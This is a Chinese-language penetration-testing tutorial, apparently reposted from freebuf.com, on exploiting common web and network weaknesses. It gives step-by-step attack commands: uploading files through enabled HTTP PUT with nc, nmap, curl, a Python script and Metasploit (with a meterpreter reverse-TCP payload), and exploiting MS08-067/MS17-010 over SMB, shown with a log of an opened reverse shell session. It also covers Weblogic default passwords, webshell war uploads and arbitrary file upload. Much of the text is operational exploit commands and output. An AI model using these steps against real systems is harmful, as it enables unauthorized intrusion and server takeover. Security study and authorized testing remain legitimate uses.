Web漏洞利用姿势 – 作者:凯信特安全团队

1、HTTP PUT方法利用

        PUT是用来进行文件管理的方法,若运维人员未修改Web服务器缺省配置,依然支持这些方法,则可以向服务器文件系统任意上传文件。

1.1、 Netcat利用PUT方法

        Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士**”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。

查看得知Web服务开启PUT方法后,输入如下命令上传文件:

    nc IP PORT

    PUT /dav/hack.txt HTTP/1.1

    Host: IP

image.png

     按两次回车可以看到hacked.txt文件已经成功创建,状态码是201,文件创建位置为/dav/目录。


1.2、Nmap利用PUT方法

命令:

nmap -p 端口 IP -script http-put-script-args http-put.url=’/dav/test.php’,http-put.file=’/root/test.php’

命令讲解:

        -script http-put //选择http-put脚本,脚本支持使用http put方法上传文件。

       -script-args //设置脚本参数1、2

        http-put.url=’/dav/test.php’ //设置参数1为上传目标文件路径

        http-put.file=’/root/test.php’ //设置参数2为上传本地文件路径。

image.png

     图中可以看到通过Nmap脚本上传成功。

1.3 BurpSuite利用PUT方法

       使用日常见面的BurpSuite访问上传目标路径抓取数据包,修改数据包请求方式及上传路径,在请求正文中写入文件内容,发包至Web服务器。

image.png

   服务器响应包显示文件创建成功。

image.png

1.4 CURL利用PUT方法

        CURL是一个利用URL语法在命令行下工作的文件传输工具,通过指定的URL来上传或下载数据,并将数据展示出来。curl中的c表示client,而URL,就是URL。

通过PUT方法创建文件命令如下:

命令1:

curl -i -XPUT -H “Content-Type: text/plain; charset=utf-8” -d “hack completed” http://192.168.40.4/dav/hack.php

image.png

命令讲解:

        -i/–include //输出时包括protocol头信息

        -X/–request <command> //指定PUT命令

       -H/–header <line>  //自定义头信息“Content-Type:text/plain; charset=utf-8”传递给服务器

       -d/–data <data> //HTTP POST方式将文本写入创建的http://192.168.40.4/dav/hack.php 

命令2:

curl -i -X PUT -H “Content-Type:application/xml; charset=utf-8″ -d @”F:\1.php” http://192.168.40.4/dav/hack.php

image.png

命令讲解:

-d @“filename” //从文件读入内容

image.png

1.5 QuickPuT脚本利用PUT方法

QuickPut是Python命令行工具,可以利用该脚本通过HTTP PUT方法来上传文件到服务器。

上传命令:

python2 QuickPut.py F:\1.php http://192.168.40.4/dav/hack1.php

image.png

命令讲解:

python QuickPut.py <本地文件> <目标URL>

1.6 Metasploit利用PUT方法

Metasploit的辅助模块auxiliary/scanner/http/http_put可实现文件上传,删除操作。

命令:

use auxiliary/scanner/http/http_put //使用http_put模块

image.png

show options //显示模块参数

set RHOSTS 192.168.40.4 //设置目标IP

set PATH /dav/  //设置目标路径

set payload php/meterpreter/reverse_tcp  //设置攻击载荷

set filename msf.php //设置上传文件名

image.png

set FILEDATA file://root/test.php //设置上传本地文件数据路径

exploit //开始攻击

image.png

返回结果显示成功上传文件。

2.SMB漏洞利用

       进行信息收集端口扫描后发现主机开启139,445端口且banner显示为Microsoft Windows,则会联想到与139、445端口SMB漏洞,比较常见的有ms17-010,ms08-067等。

漏洞检测

命令:

namp –script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse –sTIP

namp –script=/usr/share/nmap/scripts/smb-vuln-ms17-010.nse –sTIP

命令讲解:

–script=/usr/share/nmap/scripts/smb-vuln-ms08-067.nse //使用Nmapms08-067漏洞扫描脚本

-sT //使用TCP扫描

若输出结果为:

smb-vuln-ms08-067:

VULNERABLE:

Microsoft Windows system vulnerable toremote code execution (MS08-067)

State: VULNERABLE

IDs:  CVE:CVE-2008-4250

The Server service inMicrosoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,Vista Goldand SP1, Server 2008, and 7 Pre-Beta allows remote attackers to executearbitrarycode via a crafted RPC request that triggers the overflow during pathcanonicalization.

Disclosure date: 2008-10-23

References:

https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

则说明存在ms08-067漏洞,ms17-010同上。

漏洞利用

使用MSF smb攻击模块,利用ms08-067与ms17-010漏洞。

msf> use exploit/windows/smb/ms08_067_netapi

msfexploit(ms08_067_netapi) > set RHOST IP

msfexploit(ms08_067_netapi) > exploit

[*]Started reverse TCP handler on 本地监听IP端口

[*]目标IP:445- Automatically detecting the target…

[*]目标IP:445- Fingerprint: Windows 2000 – Service Pack 0 – 4 – lang:English

[*]目标IP:445- Selected Target: Windows 2000 Universal

[*]目标IP:445- Attempting to trigger the vulnerability…

[*]Sending stage (957487 bytes) to 目标IP

[*]Meterpreter session 2 opened (监听IP端口 -> 目标端口反弹)

meterpreter>

ms17-010漏洞利用同上。

3.Weblogic漏洞利用

      在渗透测试中常常会遇到Weblogic Server应用服务器,看到Weblogic Server后联想到Weblogic Server可能会存在后台管理弱口令、JAVA反序列化漏洞、任意文件上传漏洞等许多本版的各种CVE漏洞。下面分享下Weblogic各种漏洞的利用手法。

image.png3.1 后台登录弱口令

常见Weblogic Server登录弱口令:

weblogic/weblogic

weblogic/weblogic1

weblogic/weblogic10

weblogic/weblogic123

若存在即可登录应用服务器管理后台,上传webshellwar包。

image.png

上传后在应用服务器中部署war包

image.png

image.png

image.png上传部署war包成功后即可访问大马。

3.2 JAVA反序列化漏洞

CVE漏洞可直接使用脚本检测,然后根据漏洞代码寻找exp脚本漏洞利用。

Weblogic漏洞检测脚本十分强大,可检测各种CVE、管理后台路径、SSRF、弱口令、并支持后期扩展。

image.png

也可利用Java反序列化漏洞利用工具直接进行检测利用。漏洞工具提供漏洞检测、命令执行、文件上传、批量检查功能。

image.png


3.3 Weblogic 任意文件上传漏洞

通过爆破Weblogic返回信息。

image.png

获取到登录口令、服务名、随机字符目录,构造上传POC进行测试文件上传。

在/bea_wls_deployment_internal/DeploymentService路径下传入以下数据

image.png

服务器返回上传成功和文件绝对路径。

image.png

访问此上传文件路径后显示上传文件内容

http://IP/bea_wls_deployment_internal/shell.jsp

image.png

注:本文3.1小节部分图片引用出处:https://www.cnblogs.com/bmjoker/p/9822886.html

来源:freebuf.com 2020-02-27 21:20:30 by: 凯信特安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论